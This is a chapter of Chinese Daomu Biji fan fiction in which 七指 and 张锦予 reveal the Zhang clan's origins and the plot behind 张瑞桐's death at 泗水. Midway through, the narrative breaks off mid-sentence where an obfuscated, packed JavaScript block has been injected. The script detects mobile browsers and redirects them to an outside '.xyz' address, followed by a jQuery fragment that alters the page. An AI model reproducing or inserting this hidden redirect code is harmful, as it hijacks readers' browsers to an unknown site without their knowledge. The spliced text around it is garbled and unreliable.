张锦予和张瑞梧还是换了一个地方去聊这件事,我严重怀疑他们两个就是为了让张家来的这群人体验一下广西茶马古道限定地铁。
但从他们之间的交谈里我好像听出虽然张海客自称知道真相,但好像这个真相并不真。
光是知道江都和七指之间的关系好着呢,
这件事就让他自闭了好久。
张家几家档案馆对接下来,各路消息虽然都是围绕着张家里那些个神出鬼没的外人展开 ,但都有不同程度的偏差,就连张明山手上的消息都不是非常准确。
张明山知道江都和七指在九门的那场事结束之后大吵了一架,他没有见过七指本人,这件事也是听别院里的人说的,那天好像歇居里的人故意支走了他,回到歇居的时候江都就像没事人一样,还是之后别院里的人和张明山说了一嘴,说一个叫七指的人来过最后江都叫被别院里的人把他请走。
张海客却说他们两个人之间吵架的内容好像和张景山的失踪有关,张日山则说是其实是九门的事。
云里雾里完全没有一个统一的口径,我好奇的点不在于江都和七指当时吵了些什么,我好奇的是为什么同一件事会打探到这么多不同的版本。
“还没察觉到不对劲吗?”地铁还没有到西部档案馆,坐在一边的张锦予沉默的开口了,“你们不觉得你们现在掌握的消息和一个地方其实很像吗?”
察觉到了,我和吴邪对视了一眼,异口同声的说道:
“茶马古道。”
不一样的消息,找不到的出路,掌握不了的线索,黑白颠倒的传说,逃不出的局,还有歇居的那盘棋。
这一切的本质其实都是一样。
“其实不止地方吧。”我将目光看向张锦予,刚想继续说的时候,吴邪压住了我的肩膀,阻止了我说话,替我说道:“前辈,我想和你单独聊聊。”
“奉陪,但是现在西部档案馆到了,我们先讲故事,如果有空可以坐下来好好聊。”张锦予按下了地铁上的一个开关,在一阵下落的失重感后四周灯亮起的瞬间我才看清这个地方到处都是没有动静的蛇,除了蛇以外就是整整一墙类似于编钟的青铜器,我们还没有开始震惊,另一个熟悉的声音出现了。
“来了?”红程里站在外面等着我们,随手将手里的耳罩丢给刘丧,“要是不想把你另一只耳朵也废了就好好带着,等一下可不好受,反正接下来的事情和你没什么关系。”
“不是我说,丧背儿,这群人怎么都认识你?”
胖爷撞了一下刘丧的肩膀,刘丧表示他什么都不知道,其实我也挺好奇的,当时在歇居的时候就听说过吴三省和江都抢人这件事,没想到江都这边人没抢到,他的消息倒是全方面覆盖了。
红程里冷哼了一声,带着一脸嫌弃的看着吴邪说道:“要不是吴三省和解连环打包票说南海的事他们负责,别说刘丧了,连这着那个叫江灿的,七指都给你一起打包了寄给张锦予。”
红程里提到张锦予的时候,他本人明显的停了一下脚步,预判了吴邪的问题,直接没有避讳的开口:“吴三省不在这,他已经知道你病好了,现在我们也不知道他在哪里。”
吴邪有病?有神经病吗?
我刚想笑就感到头顶传来致命一击,张锦予的拳头重重地落在了我的头上边,说:“别笑太早,黑毛蛇的费洛蒙来自于蛇毒,你身体里也有。”
想笑的脸僵住了,甚至有点想问吴邪那个能治病的雷城在哪里,张锦予就接着说:“多亏了那体内的那条蛇,蛇毒多数都在它的身上,你自己身上的其实还好,但当你身上的毒素被新陈代谢消灭干净,你也就告别了看见里面东西的能力。”
他还告诉我们张明山可以看见古潼京里的一切,或许因为是当年古潼京里的那场秘密实验在他的体内堆积了过多的费洛蒙,影响了他的血脉,导致他的身体出现了类似于蛇的反应,同类之间是可以互相传播费洛蒙的,所以张明山那时或许是不小心被黑毛蛇咬了,意外的看见了里面的记忆。
张锦予,一个性格不明,行为不定,在某种程度上比吴邪还可怕的男人。
但他的下一段话,我是真的一点也不想笑了。
他告诉我七指引我去古潼京是有意的,目的就是为了再次试探我有没有读取费洛蒙的能力。
结果很明显,这样的能力我有,但不多,如果我真的可以完整的读取费洛蒙,那么就轮不到吴邪,被打包送给张锦予的人又多了一个。
而为什么交给张锦予的原因,红程里说他喜欢带小孩。
张锦予,一个永远让我笑不出来,而且永远无法理解的男人。
但正儿八经起来的张锦予和张瑞梧还是给我们讲了一个被掩盖的真相。
七指是在开元盛世的末期(713-742年)来到的张家,那时的他掌握了费洛蒙的线索和一个重要的消息来到了东北长白山,也是在那次交谈后他们开始怀疑有第三方的存在。
他们只知道这个第三方来自西部,但在西部的哪里却无人知晓。
于是他们做了一个错误的决定,把目光放在了西北,巴丹吉林沙漠的更西边,甘肃,青海,新疆等地,就这样完美的错过,也犯下了一个不可挽回的大错。
在西北的一处荒漠上张家人触碰到了一个禁忌,一场突如其来的集体性天授让张家众人知道了张家的真正起源。
他们源于西汉末年的一件非常重大的事件,
行西王母诏筹。
感到天授的人爆发了一场轰轰烈烈的游行活动,他们步履匆匆神情紧张,手持着稻草,祈求的西王母的庇佑,于夜黑风高之时登高而歌,摇铃而唱,将所有的虔诚和热忱都献给了西王母,最后向东而行来到了长白山之内,走入了那扇不知从何而来的青铜门,成为了最开始的张家人。
可惜的就是那场天授的结束让他们忘记了来时的原因,但从青铜门里出来的人的记忆里继承了西王母的长生之术,青铜门里的一样东西让他们开启了在古墓中寻找真相的历程,从此长白山上的盗墓世家——张家诞生了。
西北之行也让张家人付出了代价,据说触碰到禁忌的那批张家人没有一个人回到了张家本家,整一场行动里回到张家的只剩下来有起死回生能力且本身与张家无关的七指。
七指关于西北的消息和那个禁忌叙述给了当年的张起灵,并说出了自己的想法,却换来了一场长达千年的追杀,甚至直接把他追去投靠汪藏海。
好在这个逼还算有点智商,选择大局的利益还是隐瞒了关于张家的秘密。
张锦予说张家现在所熟知的关于西北的所有事是张瑞桐在位期间七指所诉并记录在案的,我们可以不信,但绝不能不听,说到这张锦予突然间乐起来,笑得有些丧心病狂,笑声中带着心酸,无奈,和嘲讽。
“瑞桐说我是个不折手段的疯子。“
“老子TM就是疯。”
“也绝不会做个袖手旁观,不明所以,见风使舵,无聊至极的看客!”
不远处传来了一个年轻人的声音,在空旷的地下室里回荡,张锦予停下的笑看向了那面钟,我没有看见人影,但那个声音又开始说话了。
“也得亏了你们张家就喜欢长白山,目标固定,找起来方便,要真和那群小王八一样缩个头,还喜欢东跑西跑的,老子就真选择投敌了,TM跟了汪藏海那群人七八年才找到他们一点线索,跑不死你们。”
一位少年穿着白衣坐在青铜钟之间,翘着个二郎腿,一只手撑在膝盖上拖着下巴似笑非笑看着我们,他轻而易举的跳下了那面墙,跳下的那一刻四周的蛇开始骚动起来,缓慢的移向他,然后随着他慢慢往前。
可他明显是冲着我们来的,那些蛇将我们逼退向四周,只有张锦予站在那面钟的前面依然没有动作。
七指晃悠的来到张锦予的面前,看着他说道:“小洞神,这还是我第一次听见你为我说话,怎么了?改头换面终于决定离开张家,投靠我了?”
“为你说话?我只不过是见的东西太多发表一下获奖感言罢了。”张锦予看着七指嫌弃的说道。
随着七指的一个响指,周围向着我们爬来的蛇,像是收到了某种信号集体向着张起灵的方向快速的扑了过去,张起灵没有犹豫,黑金古刀出鞘的那刻却又和集体说好一般在他的周围插肩而过,看见摆好动作然后愣在原地的张起灵,七指笑翻在地。
“好玩吗?”张锦予无语的看着这一出和嬉皮笑脸的七指问道。
“不好玩啊,但是吓唬小朋友就是很有趣,尤其是姓张还叫张起灵的。”七指漫不经心的向我们走了过来,看着站在我们之前将刀对准自己的张起灵缓缓的开口,“张家的小子,我见过你,可是你当年还被人抱在怀里。”
我只能说再次捂着肚子笑翻在地的七指和淡定且没有感情的张爷真的形成了鲜明的对比。
停下的笑的七指没有回头看那位有着相同名字的人,只是感慨道:“可惜了,小王……娘子当年叫我离你远点。”
而我看着眼前的人说出了一句堪比“吴邪你有病啊”一样让人难忘的话:
“我靠,你真的还没死!”
然而七指还给了我一句更加惊人的话:
“小洞神,你们姓黎的人说话还真是一如既往的难听。”
九门的:“你们?”
张家的:“黎家?”
我:“我只配是人,谢谢。”
胖爷戳了一下有些呆住的吴邪说道:“天真啊,这位该不会是那个小黎簇的爷爷,或者曾爷爷吧,这人脉,关系,辈分不得和那个什么张瑞桐是一个样的,想好怎么道歉了吗,磕一个?还是先送点什么东西慰问一下?”
吴邪蹲在了地上,他也想抽个大的,张锦予只是对着揭老底的七指翻了一个白眼,朝着那面钟走去。
我看着张锦予的背影想起来小阳寨里的事,说道:“在小阳寨的时候我就知道你姓黎,九黎祭司有通天之力,闻花嗅木,寻虎问鹿,便可晓千古玄机,所以您……”
我的话还没有说完,张锦予没有回头,卸下所有伪装的他随手飞出了一根针,将一条蛇刺死在原地,边说道:
“没错,七老头告诉过你,九黎有人可以读取费洛蒙所储存的记忆,其实我可以读取的对象非常固定,除了黑飞子和野鸡脖子外找了很多年才发现藏海花里储存的费洛蒙我也看得见,只是这件事非常难办,难办到我们找到了解决一般人看不见费洛蒙携带信息的办法,还是看不见藏海花想告诉我们什么,不然……”
他笑着看向吴邪说:
“你以为吴三省去雷城只是为了听一场雷这么简单吗?”
红程里将死去的蛇捡起,看了一眼上面熟悉的编号说道:“原来是这条,这里面的东西还真是适合这个时候,锦予叔杀这条你不可惜吗?”说罢将蛇的毒牙取下放在了一口碗里,在倒入了满满一碗的朱砂,递给张锦予。
张锦予没有说话用针将指尖刺破,血滴落在碗中的那刻,碗里的朱砂连带着沉在碗底的毒牙几乎瞬间融化,变成了金色,看见这一幕的吴邪想起了雷城里的金色液体,去过雷城的那些人眼底浮起的远不止是震惊。
只有张锦予嗤笑道:
“雷城可以抚平一切遗憾?”
“呵!”
“到底是哪个劳什子放出来的狗屁!老子第一个灭了他!”
张锦予说罢将碗里的金色液体洒向那面钟,飞出的金色液体竟将眼前的青铜钟击得直接荡起,猛烈的钟声响彻了整个七层,那些液体没有停下而是向上爬去,直到爬到顶端汇聚在顶部的纹样上,金色的纹样显现的那刻我看清了。
那是双鸟朝阳,九黎的图腾。
此时的张锦予右手举起了一枚法铃。
“卧槽,六角铜铃Puls带棍版?真的假的?”胖爷捂着耳朵看着张锦予手上的东西问道,我也看了过去,那东西分明就是我们从加天观寺里带回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303295|180316||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,可以把人蛊喊出来玩的鬼东西。
此时的七指淡定的站在我们的前面看着张锦予说道:“真的。”
“张家六角铃铛一直都是两个,除了张起灵估计整个张家也没人知道这个秘密,这也是张起灵之间口口相传的秘密之一,我和小王八去泗水清场的时候带出来一个,还有一个留给张家做一个交代……
“毕竟……
“有些谎言是要用无数真相覆盖的。”
七指说道这的时候眼神撇了一眼一直站在旁边没有出声的嘎洛,嘎洛只是把江都的两把刀再次抱紧,冷眼看着这场与他无关的闹剧,七指见他没有反应翻了个白眼又开始调戏张家,看着张瑞梧的方向继续说:
“那江小娘子从泗水出来后干的第一件事就是让我找个办法水淹了张家古楼再和张家报备,这么好玩的事我帮定了。”
一个声音却非常不合时宜的响起:“让她闹一次也好,省得你俩头上的屎盆子再这么叠下去都可以在头上玩泥巴了。”
七指听到这感觉被噎住了一样,看着刚刚说话的张瑞梧,张家山派的穷奇们此时带着一脸震惊看着叛变的爷爷,眼里充满了问号,张瑞梧看向那面钟眼中却染上些许的恨意,冷静而严肃的说道:
“你们也该知道了……
“有些人根本不配姓张!”
张锦予手中的法铃响起的那刻,叮铃的铃声在空荡的地下回荡了很久,随着铃声的消散,我感受到地面的剧烈颤抖。
西部档案馆七层的上方是一个巨大的水潭,这阵颤抖我甚至在害怕上面的石壁会不会裂开一个口子把我们淹死,好不容易再次稳住身形,远方渐渐的传来了几声轰鸣。
铺天盖地的雷声从天而降,似乎直接劈在了上方的水面上,伴随着雷声而来的还有面前开始剧烈晃动的钟响起的轰鸣声,复杂的声音混杂在一起阵阵敲击着我的耳膜,在我的耳朵负荷之前,渐渐清晰的鼓声和铃响间我仿佛听见了人说话的声音。
从天而将的声音像是起雾的歇居一般,我明知道它在那但就是蒙了一层雾,越是想看清,越是会迷失在雾里,就像现在我费劲的想听去每一句话,但就像在做无用功,越是想听去它就变得越模糊,越是错过了下一句。
可就是那些我仅听见的话语里,一个让张家足以震撼的真相也渐渐浮出了水面。
“大哥选好了下一任张起灵的位置,我们的计划不就泡汤了吗?”
“慌什么,听说张瑞桐选的张起灵只有那两个外姓的人知道是谁,只要我们抢在他之前定好这个位置上的人,就没有问题。”
“怎么抢?”
“让他们三个人都没有开口的机会。”
“你想我们怎么做。”
“把张瑞桐骗去泗水古城,然后杀了他,只要让自己人出不来,然后让其他的张家人看着那两个外姓人完好无损的从泗水古城里面出来,我们的计划依旧完美。”
……
“那个姓江的怎么对付,她现在一直待在张家,得想个办法把她支走,不然那小娘们一定会坏了我们的好事。”
“只要说那个孩子被选去放野,她自己就会追出去,你还真以为她愿意待在张家,要不是不想让那个孩子坐上张起灵这个位置,她TM还在广西做她的神仙。”
“没错,到时候我们再放个消息说那个孩子去了泗水,她不就自己进去了。”
“瑞朴,那有条蛇。”
“掐死,估计又是那个叫张锦予的毛头小子留在这的。”
“跑了……”
……
“锦予?你怎么出来了?”
“江都叫我来的,她说泗水可能有诈,她现在跟着你们家的那群孩子去放野了,叫我跟着你去。”
“瑞桐哥,你为什么一定要去泗水?”
“他们两个都不在吧。”
“怎么了?”
“听说我的那个蠢儿子的媳妇快生了,应该在长沙,你让那小妮子替我去看看,我儿子对不起张家,但那个女人和未出生的孩子是无辜的,张家和张家古楼的事之后就要麻烦你们和我弟弟他们一家了……
“你在托孤?”
“没错,我一定会死在泗水,如果他们两个也来了泗水,切记不要让他们进来。”
“为什么一定要去?”
“你在我边上放了条蛇,也知道你可以看见蛇记录下的一切,所以……”
“你要诱敌?”
“不止诱敌,还要擒王,我要让他们就算得逞,也没有再次回到张家的脸面,也要让你们知道这个人到底是谁!”
“也算是我给张家的最后一个交代。”
“有些老鼠睁一只眼闭一只眼久了就养肥了,再让他掉进水里就没有游上来的机会。”
……
“张锦予?他怎么会在泗水!”
“锦予?跑!”
“一起走!江都他们已经在赶过来的路上了。”
“江娘子?怎么会这么快!”
“锦予,张家内斗的恩怨你不应该插手的。”
“替我和江都还有七指带句抱歉……
“还有辛苦你了……
“不要……
“不要!”
……
“瑞桐,我有一个办法可以让你撑到江都他们来为止……”
“不需要了,要你带到的话,替我转交给他们,一定要……”
……
“瑞桐!锦予!”
“只有江娘子来了?”
“把出口守住,等她出来的时候把锅甩给她,还有一个人就当他运气好,或许那个人根本就是个幌子,张家的另一批人应该快到了吧。”
“到了,其他人已经在山下,山派的人除了张瑞梧其他的没到。
“山派的人可是错过了一场好戏。”
“你们说……”
“谁TM是!个!幌!子!”
……